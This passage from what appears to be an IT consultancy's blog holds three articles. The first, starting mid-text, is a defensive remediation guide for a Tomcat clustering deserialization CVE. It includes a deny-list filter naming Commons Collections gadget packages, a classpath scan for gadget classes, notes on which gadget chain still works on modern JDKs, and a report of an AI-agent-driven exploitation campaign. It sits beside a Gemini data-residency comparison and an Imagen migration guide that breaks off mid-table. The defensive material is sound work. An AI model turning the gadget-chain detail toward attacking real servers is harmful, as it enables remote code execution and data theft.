SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
    javax.crypto.AEADBadTagException: Tag mismatch

No deserialization error follows it. On a vulnerable node the gadget executes silently after that line. So a Failed to decrypt message entry that correlates with an unexpected inbound connection to port 4000 is not noise, it is your incident.

On JDK 8u72 and later the classic CommonsCollections1 and CC3 chains are broken, but CC6 uses HashSet as its entry point and works on JDK 17 and 21. Modern runtime does not save you here.

Step one: find out if you are exposed

Run these three checks in order. You are only at risk if all three are true: an affected version, EncryptInterceptor configured, and the receiver reachable beyond your trusted cluster members.

Check the running version:

$CATALINA_HOME/bin/version.sh | grep "Server number"

If it reads 11.0.20, 10.1.53 or 9.0.116, you are on an affected build. Anything at or above 11.0.21 / 10.1.54 / 9.0.117 is fixed. Anything below the affected builds (for example 11.0.18) never had the regression. Tomcat 8.5.x is not affected at all.

Check whether EncryptInterceptor is actually in the channel. It lives in server.xml (or a context's cluster config):

grep -rn "EncryptInterceptor" $CATALINA_HOME/conf/

No match means the vulnerable code path is not in your interceptor chain, and this CVE does not apply to you even on an affected version. A match means you are in scope.

Check whether the receiver port is listening and on which interface. The default is 4000, but read the Receiver element's port attribute to be sure:

grep -rn "Receiver" $CATALINA_HOME/conf/server.xml
ss -ltnp | grep -E ':4000|:400[0-9]'

If that socket is bound to 0.0.0.0 or a routable address rather than a private cluster-only interface, treat it as reachable and move fast.

Step two: patch to the fixed release

The fix restores fail-closed behaviour by putting super.messageReceived(msg) back inside the try block. Upgrade within your branch:

Branch	Affected build	Fixed build	Fixed release date
11.0.x	11.0.20	11.0.21	4 April 2026
10.1.x	10.1.53	10.1.54	2 April 2026
9.0.x	9.0.116	9.0.117	3 April 2026
8.5.x	not affected	not applicable	component absent

These are minor patch upgrades within a branch, so for most deployments this is a binary swap and a restart, not a migration. Do it first. The hardening below is defence in depth, not a substitute.

Step three: harden the deserialization sink anyway

Patching closes this specific regression. It does not change the underlying design fact that a decrypted, trusted Tribes message still lands in a readObject() with no filter. A future bug in the same path would land in the same sink. Two durable controls are worth adding.

Set a JVM-wide deserialization filter so untrusted classes cannot instantiate even if bytes reach ObjectInputStream. From JDK 9 onward, jdk.serialFilter accepts an allow and deny pattern. A blunt but effective starting point blocks the common gadget packages and rejects anything not on an allowlist:

# In setenv.sh
JAVA_OPTS="$JAVA_OPTS -Djdk.serialFilter=!org.apache.commons.collections.functors.*;\
!org.apache.commons.collections4.functors.*;\
!org.codehaus.groovy.runtime.*;\
!org.springframework.beans.factory.ObjectFactory;\
!com.sun.org.apache.xalan.**;maxdepth=20;maxrefs=1000"

Test this against your own replication traffic in staging first, because an over-tight filter will break legitimate session objects. The goal is to deny known gadget entry points while allowing your own serialized session classes.

Remove gadget libraries you do not need. If commons-collections-3.1.jar is sitting in $CATALINA_HOME/lib/ and nothing you run needs it, delete it. Inventory the classpath for the usual suspects:

find $CATALINA_HOME -name "*.jar" | xargs -I{} sh -c \
  'unzip -l "{}" 2>/dev/null | grep -qE "InvokerTransformer|TemplatesImpl" && echo "{}"'

A hit does not mean you are exploitable, but it tells you which library provides the gadget, so you can decide whether it belongs there.

Bind the receiver to a private interface and firewall the port. The receiver should never be reachable from outside the cluster. Set the Receiver address to a dedicated cluster interface, and restrict port 4000 to peer nodes with a host firewall or security group.

<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
          address="10.0.10.5"
          port="4000"
          selectorTimeout="5000"
          maxThreads="6"/>

The Kubernetes trap

In a Kubernetes deployment without a NetworkPolicy, every pod in the same namespace can reach port 4000 on every other pod. That turns a design assumption ("only trusted cluster members reach the receiver") into a false one, because the trust boundary is now the whole namespace, including any pod an attacker lands in first.

If you run Tomcat clustering in Kubernetes, a default-deny NetworkPolicy that only permits port 4000 between the cluster's own pods is not optional hardening, it is the control that makes the receiver's trust assumption true again:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: tomcat-tribes-restrict
spec:
  podSelector:
    matchLabels:
      app: tomcat-cluster
  policyTypes:
    - Ingress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app: tomcat-cluster
      ports:
        - protocol: TCP
          port: 4000

Is it actually being exploited

The honest answer changed over the life of this CVE, and both readings are worth stating.

When SOCRadar wrote it up in April 2026, there was no confirmed in-the-wild exploitation: no KEV entry, no vendor statement, no incident reporting tied directly to CVE-2026-34486. The reasonable posture then was "treat exposed receivers as urgent regardless."

That posture is now backed by evidence. CISA added CVE-2026-34486 to the KEV catalog on 4 August 2026, which by definition means CISA has reliable evidence of active exploitation. The Hacker News reported the same day that the exploitation is attributed to an autonomous AI-enabled campaign that Palo Alto Networks Unit 42 links to a Chinese-speaking actor operating as knaithe and KnYuan, which used the DeepSeek model through the Hermes agent framework to scan and attack internet-exposed devices, targeting over 460 hosts across a mix of automated and manual techniques. US federal civilian agencies were given until 7 August 2026 to remediate under the KEV timeline.

The through-line for a defender is that the window for treating this as theoretical closed on 4 August. If your receiver is reachable, you are now inside an actively exploited exposure.

India-specific considerations

For teams running Java platforms in India, two points sharpen the priority. Under the Digital Personal Data Protection Act 2023, an unauthorised access to session data replicated across a cluster is a personal data breach if those sessions carry personal data, which most authenticated web sessions do, and that triggers notification obligations you can only assess if you have retained the receiver logs. Keep the Failed to decrypt message events and inbound connection logs on port 4000; they are the evidence of whether the sink was hit.

The cost context is not abstract either. IBM's 2026 Cost of a Data Breach Report, released 3 August 2026, puts the average Indian breach at ₹25.5 crore, up 15.9% year on year, against a global average of $4.99 million, and it names offensive security testing as India's single largest cost-reducing factor, saving an average of ₹2.47 crore. A deserialization sink on a clustering port is exactly the kind of finding a penetration test surfaces before an attacker does.

For the wider pattern of treating emergency patches as the start rather than the end of the work, our Node.js July 2026 patch response playbook and our approach to triaging a large Oracle Critical Patch Update by risk apply the same discipline to other stacks. This piece sits in our web and API engineering cluster under the Interop 2026 web platform developer guide.

What to change so the next one is cheaper

Three habits that would have blunted this specific bug.

Treat any security patch to a component you rely on for a trust boundary as a change that needs its own verification, not a routine bump. The fix for CVE-2026-29146 was itself a security fix, and it opened CVE-2026-34486. A quick post-upgrade check that the encryption gate still drops undecryptable traffic would have caught the regression.

Assume every internal listening port is reachable by an attacker who has a foothold somewhere in your network, and segment accordingly. The Kubernetes namespace trap is the clearest example, but it applies to any flat network.

Put a JVM deserialization filter in place before you need it. It is the one control here that would have stopped exploitation even on a fully vulnerable, fully exposed node, because it operates at the sink rather than the perimeter. The perimeter is where you hope the attacker is not; the sink is where the code actually runs.

The real cost of this class of bug is rarely the upgrade. It is the deserialization sink you left unfiltered because the encryption in front of it was supposed to be enough.

FAQ

Am I affected if I run Tomcat but do not use clustering?

No. CVE-2026-34486 only affects deployments that enable Tribes clustering with EncryptInterceptor configured on an affected build. If grep -rn "EncryptInterceptor" $CATALINA_HOME/conf/ returns nothing, the vulnerable receive path is not in your interceptor chain and this CVE does not apply, even on version 11.0.20, 10.1.53 or 9.0.116.

Which exact versions do I need to move off?

The affected builds are 11.0.20, 10.1.53 and 9.0.116. Upgrade to 11.0.21, 10.1.54 or 9.0.117 respectively, all released between 2 and 4 April 2026. Builds earlier than the affected ones, such as 11.0.18, never had the regression, and Tomcat 8.5.x is not affected because it has no EncryptInterceptor component.

Does patching fully fix the problem?

Patching restores fail-closed behaviour and closes this specific regression. It does not filter the underlying ObjectInputStream.readObject() sink, which still runs on decrypted messages. Add a JVM-wide jdk.serialFilter, remove unused gadget libraries, and restrict the receiver port, so a future bug in the same path does not reach code execution.

Why does the encryption not protect me?

The encryption is the component that failed. The regression made EncryptInterceptor forward messages that fail decryption instead of dropping them, so undecryptable attacker bytes reach the deserialization routine anyway. The encryption layer became a gate that could be bypassed rather than a hard stop, which is why configured encryption offers no protection on the affected versions.

What does exploitation look like in my logs?

A single SEVERE entry reading "Failed to decrypt message" from EncryptInterceptor.messageReceived, typically with an AEADBadTagException or BadPaddingException. No deserialization error follows, because the gadget runs silently. Correlate those entries with unexpected inbound TCP connections to the receiver port, 4000 by default, to spot attempts.

Is CVE-2026-34486 being exploited in the wild?

Yes, as of 4 August 2026. CISA added it to the Known Exploited Vulnerabilities catalog that day, and The Hacker News reported exploitation attributed to an autonomous AI-driven campaign that Palo Alto Networks Unit 42 links to an actor operating as knaithe. When SOCRadar assessed it in April 2026 there was no confirmed exploitation, so the status changed over time.

What is the fastest interim control if I cannot patch today?

Restrict network access to the receiver port. Bind the Receiver to a private cluster-only interface and firewall TCP 4000 to peer nodes only. In Kubernetes, apply a default-deny NetworkPolicy that permits port 4000 solely between the cluster's own pods, which removes the same-namespace reachability that otherwise exposes every node.

Does a modern JDK protect against the gadget chain?

Not by itself. JDK 8u72 broke the older CommonsCollections1 and CC3 chains, but the CommonsCollections6 chain uses HashSet as its entry point and works on JDK 17 and 21. A current runtime does not remove the deserialization risk; a configured jdk.serialFilter and a clean classpath do.

How eCorpIT can help

eCorpIT is a senior-led engineering organisation in Gurugram, ISO 27001:2022 certified and assessed at CMMI Level 5, and we do Java platform hardening and application portfolio analysis for teams running Tomcat, Spring and legacy clustered deployments. For this issue that means auditing your interceptor configuration and receiver exposure, applying the patch across environments, and putting a tested deserialization filter and network segmentation in place so the sink is closed for good. We also run API integration and modernization work on the same stacks, and design applications aligned with DPDP Act 2023 requirements. If you run Tomcat clustering and are not sure whether you are exposed, talk to us at /contact-us/.

References

Fail Open, Game Over: Turning a One-Line Tomcat Fix into Unauthenticated RCE - Striga
CVE-2026-34486 record - CVE Program
CVE-2026-29146 record - CVE Program
CVE-2026-34486: Apache Tomcat Tribes Regression Creates Unauthenticated RCE Path - SOCRadar
Apache Tomcat 11 Security Advisories - Apache Software Foundation
CISA Adds Three Known Exploited Vulnerabilities to Catalog, 4 August 2026 - CISA
Known Exploited Vulnerabilities Catalog - CISA
CISA Flags Langflow RCE, Tomcat, and N-central Flaws as Actively Exploited - The Hacker News, 5 August 2026
The regression commit on the 11.0.x branch - Apache Tomcat, GitHub
CWE-502: Deserialization of Untrusted Data - MITRE
CWE-636: Not Failing Securely (Fail Open) - MITRE
India Records Its Highest Average Cost of a Data Breach at INR 255 Million in 2026 - IBM, 3 August 2026

Last updated: 5 August 2026.

Air-gapped Gemini vs in-country Gemini Enterprise: what DPDP and RBI actually require in 2026

Manu Shukla — Wed, 05 Aug 2026 10:11:38 +0000

Air-gapped Gemini vs in-country Gemini Enterprise: what DPDP and RBI actually require in 2026

Summary. At Google I/O Connect India on 14 July 2026, Google made Gemini available inside Indian data centres in two quite different shapes. The first runs Gemini on Google Distributed Cloud with, in Google's words, "prompts, model weights or outputs" never leaving the customer perimeter, and with "all supporting services" running "fully disconnected from the public internet" behind what Google calls a "physical airlock". The second makes Gemini 3.5 Flash available through the Gemini Enterprise Agent Platform and the Gemini Enterprise app with in-country machine-learning processing commitments — a regional cloud service, generally available for India with an allowlist since 30 June 2026, not a disconnected installation. These are not two tiers of the same product. They differ on cost, on model freshness, on operational burden, and on what they actually prove to a regulator. The Reserve Bank of India's directive on storage of payment system data (RBI/2017-18/153, DPSS.CO.OD No.2785/06.08.005/2017-2018) requires that "the entire data relating to payment systems operated by them are stored in a system only in India" — and the RBI's own clarification adds that "There is no bar on processing of payment transactions outside India if so desired by the PSOs. However, the data shall be stored only in India after the processing." India's Digital Personal Data Protection Rules were notified on 14 November 2025 with obligations on a phased schedule. Neither instrument requires an air gap for most workloads. Air-gapped Gemini solves a real problem for a narrow set of organisations. For everyone else it is a large bill for a control nobody asked for.

The published prices show the gap in what you can even evaluate. Gemini 3.5 Flash lists at $1.50 per 1M input tokens and $9.00 per 1M output tokens on the standard tier, halving to $0.75 and $4.50 on batch. Google has published no India pricing for the air-gapped Distributed Cloud deployment at all.

What Google actually announced, in its own words

The distinction is easy to blur because both announcements arrived on the same day. Google's India blog post separates them clearly.

On the air-gapped option: "Indian enterprises including regulated industries and the public sector can now run Gemini on Google Distributed Cloud from within Indian data centres. This allows enterprises and public sector organisations to deploy advanced generative AI without prompts, model weights or outputs leaving their perimeter… All supporting services will run fully disconnected from the public internet, providing a 'physical airlock' that will mitigate the risk of external data breaches."

On the managed option: "We also expanded our commitment to India's digital sovereignty by making Gemini 3.5 Flash available to Indian enterprises and startups via the Gemini Enterprise Agent Platform and the Gemini Enterprise app… this model will be available with strict in-country machine learning processing commitments."

TechRepublic's 21 July 2026 write-up is worth reading alongside it for two clarifications Google's post does not make. First, air-gapped Gemini is not new — Google made it generally available in August 2025, and "the July 2026 announcement extends the deployment option to Indian data centers." Second, and more usefully: the Gemini Enterprise path "is a regional cloud service, not the disconnected Google Distributed Cloud installation." Same brand, different architecture, different assurance.

What the regulations actually say

This is where most vendor comparisons stop being useful, because they conflate three separate things: data residency, processing location, and network isolation. Indian law treats them differently.

RBI, payment system data. The 2018 directive is specific and narrow. It applies to payment system operators, banks, non-bank prepaid instrument issuers and card networks, and it covers "Customer data (Name, Mobile Number, email, Aadhaar Number, PAN number, etc. as applicable); Payment sensitive data (customer and beneficiary account details); Payment Credentials (OTP, PIN, Passwords, etc.); and, Transaction data". The requirement is storage: that data must live in a system in India. The RBI's clarification explicitly permits offshore processing so long as the data is stored only in India afterwards. There is no isolation requirement in the text, and there is no requirement that the machine doing the inference be disconnected from the internet.

What the RBI does emphasise, in the same directive, is supervisory reach: "it is important to have unfettered supervisory access to data stored with these system providers as also with their service providers / intermediaries / third party vendors and other entities in the payment ecosystem." Read that carefully. The regulator's stated concern is access and auditability, not air gaps. An architecture that gives your supervisor clean audit access matters more than one that unplugs the network cable.

DPDP. India notified the Digital Personal Data Protection Rules on 14 November 2025, with major obligations taking effect on a phased schedule. DPDP obligations attach to consent, purpose limitation, retention, deletion, breach notification and the rights of data principals. Local hosting does not settle any of those. As TechRepublic puts it, "Local hosting does not settle requirements for consent, access, retention, deletion, or incident response." A team that buys an air gap and does not build a deletion pipeline has spent money on the wrong problem.

The practical conclusion for most organisations: your obligation is to know where the data rests, to control who can reach it, to prove both, and to be able to delete it. Isolation is one way to achieve some of that. It is rarely the cheapest.

The three-way comparison

Dimension	Air-gapped Gemini on Google Distributed Cloud	In-country Gemini Enterprise (regional cloud)	Global multi-region Gemini API
Where prompts, weights and outputs sit	Inside the customer perimeter; Google states none of them leave it	In Google Cloud India regions, with in-country machine-learning processing commitments	Wherever the API routes, subject to your configuration
Network posture	Supporting services run fully disconnected from the public internet, with a controlled "physical airlock" transfer process	Connected regional cloud service; perimeter enforced with VPC Service Controls and IAM	Connected; residency controls only where offered
Model freshness	Updates arrive through the controlled transfer process, on your schedule	Google-managed; Gemini 3.5 Flash available for India on an allowlist since 30 June 2026	Newest models first
Published pricing	None published for India as of August 2026	Gemini 3.5 Flash at $1.50 / $9.00 per 1M tokens standard, $0.75 / $4.50 batch	Same public list pricing
Operational burden	Highest: hardware, update approvals, key custody, physical process	Moderate: cloud configuration, org policy constraints, key management	Lowest
Audit position	Strongest isolation story; independent assessments for India not yet detailed publicly	Google contractually grants audit, access and information rights to regulated entities and their supervisors; PCI DSS third-party audited at least annually; GCP empanelled by MeitY	Weakest for regulated payment data
Fits	Classified government workloads, defence-adjacent, organisations with an explicit no-internet mandate	Most BFSI, healthcare and public-sector generative AI work	Non-regulated workloads and internal tooling

Two rows deserve expansion.

The pricing row is not a gap in this article — it is a gap in the market. TechRepublic's conclusion is blunt and correct: "Until Google details India-specific pricing, hardware, independent assessments, and production deployments, buyers cannot fully compare the offering's cost, controls, or operational maturity." If you are being asked to approve an air-gapped deployment, that sentence is your negotiating position. Ask for the number, the hardware bill of materials, and the name of an independent assessor before the architecture review, not after.

The audit row is where the managed path is stronger than teams expect. Google's own RBI data-localization whitepaper states that customers can configure services to store payment data in Mumbai (asia-south1) or Delhi (asia-south2), that "Google grants audit, access and information rights to regulated entities, their supervisory authorities and both their appointees", and that Google Cloud "aligns to RBI Guidelines on Managing Risks and Code of Conduct in Outsourcing of Financial Services by Banks". That is a documented, contractual answer to the RBI's supervisory-access concern. The air-gapped option's India-specific equivalent has not been published.

The controls that do the work on the managed path

If you take the in-country route, the residency claim is only as good as the configuration. Four controls from Google's own documentation carry most of the weight.

Organization Policy resource-location constraints limit where a new resource may be created, applied at organization, folder or project level. This is what stops an engineer in a hurry from spinning up a bucket in us-central1.

VPC Service Controls define a service perimeter — "the virtual boundaries from which a service can be accessed, preventing data from being moved outside those boundaries." Google positions this as context-based perimeter security that works independently of IAM and mitigates exfiltration through misconfigured access or compromised accounts. For a generative AI workload, this is the control that stops prompts and outputs leaving the perimeter, and it is the closest managed-cloud analogue to what the air gap achieves physically.

Cloud KMS customer-managed keys. Data at rest is encrypted with Google-managed keys by default; regulated entities handling financial information can hold their own keys instead. Whoever holds the key is a question your regulator will ask, and "Google" is a weaker answer than "we do".

IAM with fine-grained policies, which Google notes helps "prevent your employees from accidentally storing customer data in the wrong Google Cloud region."

None of these are new, and that is the point. A well-configured regional deployment is a known quantity with contractual audit rights, published pricing and years of third-party assessment behind it. An air gap is a stronger physical story with, for India specifically, less published evidence attached to it so far.

What to verify before signing either contract

TechRepublic's checklist for the air-gapped option is the right one and it applies, with adjustments, to both. Buyers "must still verify privileged access, encryption-key control, software-update procedures, and proof that data remains inside the approved environment."

Question	Why it matters	What good looks like
Who holds the encryption keys, and can the vendor decrypt without you?	Determines whether residency is a technical control or a promise	Customer-managed keys with documented custody and rotation
Who has privileged access during a support incident?	Support access is the usual hole in an isolation story	Named roles, break-glass logged and reviewable, contractual limits
How do software and model updates enter the environment?	The transfer process is the only path in; it is also the only attack path in	Authenticated packages, staged testing, approval controls, rollback, change records
What evidence proves data stayed inside?	This is what your auditor will ask for	Network isolation evidence, in-country processing attestations, administrator access logs, retention and deletion records
What are the audit and supervisory access rights?	The RBI's stated concern is unfettered supervisory access	Contractual rights extending to the regulator and its appointees
What is the India price, and what hardware does it assume?	Not published for the air-gapped option as of August 2026	A written quote with the hardware bill of materials
Which model versions, and on what update cadence?	Isolation costs you model freshness	A named model, a stated update path, and who decides when to take one

The update question is the one teams under-weight. An air-gapped environment is, by construction, a place where new models arrive late and only when someone approves the transfer. If your use case depends on being current — coding assistance, agentic workflows, anything where capability moves quarterly — you are trading capability for isolation. That trade is correct for some workloads and wrong for most.

A decision path

Work through these in order. Stop at the first one that gives you a clear answer.

Do you have an explicit written mandate, from a regulator, a ministry or a customer contract, that the processing environment must be disconnected from the public internet? If yes, air-gapped Distributed Cloud is your candidate and the rest of this article is a checklist for buying it well. If no, keep going — because in our reading, RBI's payment-data directive and the DPDP Rules do not create that mandate.

Is the data in scope payment system data as the RBI defines it? If yes, your requirement is storage in India, and the RBI's clarification is explicit that processing may occur abroad provided storage afterwards is in India only. A configured India-region deployment with resource-location constraints and VPC Service Controls addresses that, with contractual audit rights on top.

Is the sensitivity in the data or in the inference? A model that summarises customer complaints is a different risk from a model that sees full payment credentials. If you can keep the regulated fields out of the prompt entirely — tokenise, redact, or retrieve by reference — you may find the residency question shrinks to something the managed path handles comfortably.

Can you carry the operational burden? An air-gapped platform is hardware, physical process, key custody, an update approval workflow and the staff to run all of it. Organisations that already operate isolated environments will absorb this. Organisations that have run entirely on managed cloud for a decade usually underestimate it by a factor of two.

The honest engineering judgement: most Indian BFSI and healthcare generative AI workloads are correctly served by the in-country managed path with the perimeter controls configured properly and the audit rights exercised. Air-gapped Gemini is the right answer for a genuinely narrow set of classified and critical-infrastructure workloads, and buying it for the others substitutes a purchase for a design.

The security features announced alongside it

Two other items from the same event affect this decision and are worth tracking rather than assuming.

CAPSEM is an open-source runtime designed to isolate AI agents inside virtual machines and keep raw credentials out of their reach. That addresses a real failure mode — agents granted human-level access without runtime monitoring — and it is relevant whether or not you air-gap.

Sec-Gemini v3 is being given to selected government and enterprise testers, Flipkart among them, for incident investigation, digital forensics and malware analysis. TechRepublic notes that these programmes "were announced separately and are not identified as standard components of every air-gapped deployment", which is the kind of distinction that gets lost between a launch blog and a procurement document.

Device Bound Session Credentials, aimed at making stolen session credentials harder to reuse on another device, remains a W3C First Public Working Draft rather than a finished standard. Plan accordingly.

India-specific considerations

Beyond the regulatory reading above, three practical points for teams in Gurugram, Mumbai, Bengaluru and Hyderabad.

Region choice is a decision, not a default. Google Cloud's India regions for payment data residency are Mumbai (asia-south1) and Delhi (asia-south2). Latency to end users, disaster-recovery pairing and the location of your existing data estate should all feed that choice, and the resource-location constraint should be set at the organisation level so it is not re-litigated per project.

Foreign banks and their Indian operations face the tightest version of the storage requirement, and the payment-data directive's scope covers service providers and third-party vendors in the payment ecosystem, not only the regulated entity itself. If your generative AI vendor touches payment data, the localisation question follows the data into their stack. Ask them the same seven questions in the table above.

For public-sector and government-adjacent work, MeitY empanelment matters procedurally, and Google Cloud states that GCP is empanelled by MeitY. That is a procurement fact worth confirming for the specific services in your architecture rather than for the platform in general.

FAQ

Does RBI require an air-gapped environment for AI workloads?

Not in the text of the payment-data directive. RBI/2017-18/153 requires that data relating to payment systems be "stored in a system only in India", and the RBI's clarification states there is "no bar on processing of payment transactions outside India" provided the data is stored only in India afterwards. The directive emphasises supervisory access, not network isolation.

What is the difference between the two Gemini options Google announced for India?

Air-gapped Gemini runs on Google Distributed Cloud inside Indian data centres with supporting services disconnected from the public internet and a controlled transfer process. The Gemini Enterprise path is a regional cloud service offering Gemini 3.5 Flash with in-country machine-learning processing commitments. Different architectures, different assurance, different operational burden.

Is air-gapped Gemini new?

Not globally. Google made air-gapped Gemini generally available in August 2025, and the 14 July 2026 India announcement extends that deployment option to Indian data centres. What is new for Indian buyers is the ability to run it locally rather than the capability itself.

What does the in-country Gemini Enterprise option cost?

Gemini 3.5 Flash lists at $1.50 per 1M input tokens and $9.00 per 1M output tokens on the standard tier, dropping to $0.75 and $4.50 on the batch tier. Google has not published India-specific pricing for the air-gapped Distributed Cloud deployment, which limits any direct cost comparison between the two options.

Does hosting in India satisfy DPDP?

No. The Digital Personal Data Protection Rules were notified on 14 November 2025 with obligations phased in, and they govern consent, purpose limitation, retention, deletion, breach notification and data-principal rights. Local hosting addresses none of those directly. Residency and DPDP compliance are separate workstreams that teams frequently conflate.

Which controls make a managed India-region deployment defensible?

Four: Organization Policy resource-location constraints to pin where resources may be created, VPC Service Controls to define a perimeter that prevents data moving outside it, Cloud KMS customer-managed keys so your organisation holds the keys, and fine-grained IAM. Google also contractually grants audit and access rights to regulated entities and their supervisors.

What should we ask before approving an air-gapped deployment?

Seven things: who holds encryption keys, who has privileged access during support incidents, how updates enter the environment, what evidence proves data stayed inside, what audit rights extend to your regulator, what the India price and hardware assumptions are, and which model versions you get on what cadence. The last one is the trade you are actually making.

What is the cost of choosing isolation?

Model freshness and operational load. In a disconnected environment, new models arrive only through an approved transfer, so you are always behind the managed path. You also take on hardware, key custody, update approval workflows and the staff to run them. For workloads where capability moves quarterly, that is an expensive trade.

How eCorpIT can help

We help Indian BFSI, healthcare and public-sector teams answer this question with evidence rather than vendor framing: map the data actually entering the prompt, read the obligation against the specific directive that applies, and design the smallest architecture that satisfies it. eCorpIT is CMMI Level 5 and ISO 27001:2022 certified, we are a Google partner, and our senior engineering teams design deployments aligned with DPDP requirements. If an air-gapped proposal is on your desk and nobody has checked whether the regulation asks for it, talk to us.

Related reading: our data residency and DPDP cloud architecture service covers the design work behind this decision, the India sovereign AI and IndiaAI Mission analysis sets it in policy context, the DPDP engineering playbook is the pillar for this cluster, and the Gemini Enterprise governance and cost control guide covers running the managed path once you have chosen it.

References

Last updated: 5 August 2026.

Imagen 4 shuts down 17 August 2026: the generate_content() migration, with cost math

Manu Shukla — Wed, 05 Aug 2026 10:07:25 +0000

Imagen 4 shuts down 17 August 2026: the generate_content() migration, with cost math

Summary. Google shuts down all three Imagen 4 models, imagen-4.0-generate-001, imagen-4.0-ultra-generate-001 and imagen-4.0-fast-generate-001, on 17 August 2026, twelve days from now. The Gemini API deprecations table names gemini-3.1-flash-image as the recommended replacement. Google's own Imagen documentation page, last updated 16 July 2026, names a different one: "Use gemini-2.5-flash-image instead of Imagen model names." Follow that second instruction and you land on a model with its own shutdown date of 2 October 2026, a second migration 46 days after the first. The code change is three breaking edits: client.models.generate_images() becomes client.models.generate_content(), images arrive as content parts rather than in a generated_images array, and number_of_images (default 4, range 1–4) does not exist on Gemini image models, so one call now produces one image. On cost, gemini-3.1-flash-image bills image output at $60.00 per 1M tokens, which Google works out to $0.045 per 0.5K image, $0.067 per 1K image, $0.101 per 2K and $0.151 per 4K. The batch tier halves that to $0.034 per 1K image, and gemini-3.1-flash-lite-image lists $0.0336 per 1K image on the standard tier. Imagen 4's own prices are no longer published on the Gemini API pricing page at all.

Two other Gemini API shutdowns land in the same window and are easy to miss while you are looking at images: embedding-2-preview on 10 August 2026, and gemini-robotics-er-1.6-preview on 31 August 2026.

Which replacement model is actually correct

This is the part to get right before you write any code, because Google's documentation gives two different answers.

The deprecations page, which is the page Google explicitly designates as the tracker, "the announced earliest shutdown dates are tracked on this page", lists all three Imagen 4 models with a shutdown date of 17 August 2026 and a recommended replacement of gemini-3.1-flash-image. That model has no shutdown date announced.

The Imagen guide page says something else. Its "Migration to Nano Banana" section instructs: "Model name: Use gemini-2.5-flash-image instead of Imagen model names." But the same deprecations table lists gemini-2.5-flash-image with a shutdown date of 2 October 2026 and a recommended replacement of gemini-3.1-flash-image-preview.

Model	Status per the deprecations table	Shutdown date	Verdict
`imagen-4.0-generate-001`	Deprecated	17 August 2026	Must move
`imagen-4.0-ultra-generate-001`	Deprecated	17 August 2026	Must move
`imagen-4.0-fast-generate-001`	Deprecated	17 August 2026	Must move
`gemini-2.5-flash-image`	Deprecated	2 October 2026	Named by the Imagen guide, do not migrate here
`gemini-3.1-flash-image`	Released 28 May 2026	No shutdown date announced	The correct target
`gemini-3.1-flash-lite-image`	Listed on the pricing page as the efficiency model	No shutdown date announced	The correct target for high-volume, cost-sensitive work

Migrate to gemini-3.1-flash-image or gemini-3.1-flash-lite-image. Treat the Imagen guide's gemini-2.5-flash-image line as stale documentation, not guidance. A stale doc page is the most expensive kind of bug on a deadline, because it looks authoritative and it costs you the whole migration twice.

One caveat worth stating plainly. Google's deprecations page carries a note that the listed dates "indicate the earliest possible dates on which a model might be retired" and that "We will communicate the exact shutdown date to users with advance notice." That softens the date in theory. It is not a reason to plan past 17 August.

The three breaking changes

Here is the Imagen 4 call as Google's own documentation writes it, with number_of_images set to 4:

from google import genai
from google.genai import types

client = genai.Client()

response = client.models.generate_images(
    model='imagen-4.0-generate-001',
    prompt='Robot holding a red skateboard',
    config=types.GenerateImagesConfig(
        number_of_images=4,
    )
)
for generated_image in response.generated_images:
    generated_image.image.show()

Three things in that snippet stop working.

The method changes. client.models.generate_images becomes client.models.generate_content. This is not an alias; the Imagen path used a :predict endpoint (https://generativelanguage.googleapis.com/v1beta/models/imagen-4.0-generate-001:predict) with an instances/parameters request body, and the Gemini path uses standard content generation.

The response shape changes. Google states it as "Nano Banana returns content parts, which may include image data, instead of a specific image response object." In practice that means walking response.candidates[0].content.parts and checking each part for inline_data. Code that reads response.generated_images throws an attribute error rather than returning an empty list, so this fails loudly, which is the one piece of good news here.

number_of_images is gone. On Imagen 4 the parameter accepted 1 to 4 and defaulted to 4. On the Gemini image models there is no equivalent, and a call returns one image. Every batch of N becomes N calls.

The replacement shape:

import PIL.Image
from io import BytesIO
from google import genai

client = genai.Client()

response = client.models.generate_content(
    model="gemini-3.1-flash-image",
    contents=["Robot holding a red skateboard"],
)

for part in response.candidates[0].content.parts:
    if part.text is not None:
        print(part.text)
    elif part.inline_data is not None:
        image = PIL.Image.open(BytesIO(part.inline_data.data))
        image.save("generated_image.png")

Note the part.text branch. Gemini image models can interleave text with images, so a parts loop that assumes every part is an image will crash on the first commentary token. Handle both.

A drop-in replacement for number_of_images

If your pipeline asked for four variants per prompt, you now need a fan-out. This helper keeps the old call signature so the rest of your code does not change, runs the calls concurrently, and returns the images in a list the way generated_images used to.

import concurrent.futures
from io import BytesIO
from google import genai

client = genai.Client()
MODEL = "gemini-3.1-flash-image"


def _one_image(prompt: str, model: str = MODEL) -> bytes | None:
    """Return raw PNG bytes for a single generation, or None if the model
    returned only text (a refusal or a safety block)."""
    response = client.models.generate_content(model=model, contents=[prompt])
    for part in response.candidates[0].content.parts:
        if getattr(part, "inline_data", None) is not None:
            return part.inline_data.data
    return None


def generate_images(prompt: str, number_of_images: int = 4,
                    model: str = MODEL) -> list[bytes]:
    """Fan-out replacement for the removed number_of_images parameter.
    Returns fewer than number_of_images if any call produced no image."""
    if not 1 <= number_of_images <= 8:
        raise ValueError("keep the fan-out small; each call bills separately")

    with concurrent.futures.ThreadPoolExecutor(max_workers=number_of_images) as pool:
        futures = [pool.submit(_one_image, prompt, model)
                   for _ in range(number_of_images)]
        results = [f.result() for f in futures]

    return [r for r in results if r is not None]

Two deliberate choices there. It returns a possibly-shorter list rather than padding, because a safety block or a text-only response is a real outcome your caller needs to see rather than a silent retry loop. And it caps the fan-out, because the thing that used to be one billable request is now N billable requests and an unbounded loop is how a test script turns into an invoice.

The cost math

The prices below are as listed on the Gemini API pricing page in August 2026.

Model and tier	Image output rate	Per 1K (1024x1024) image	Text and thinking output	Input
`gemini-3.1-flash-image`, standard	$60.00 per 1M tokens	$0.067 (1,120 tokens)	$3.00 per 1M	$0.50 per 1M (text/image)
`gemini-3.1-flash-image`, batch	$30.00 per 1M tokens	$0.034	$1.50 per 1M	$0.25 per 1M
`gemini-3.1-flash-lite-image`, standard	$30.00 per 1M tokens	$0.0336	$1.50 per 1M	$0.25 per 1M (text/image/video)
`gemini-3.1-flash-image`, 0.5K (512px)	$60.00 per 1M tokens	$0.045 (747 tokens)	,	,
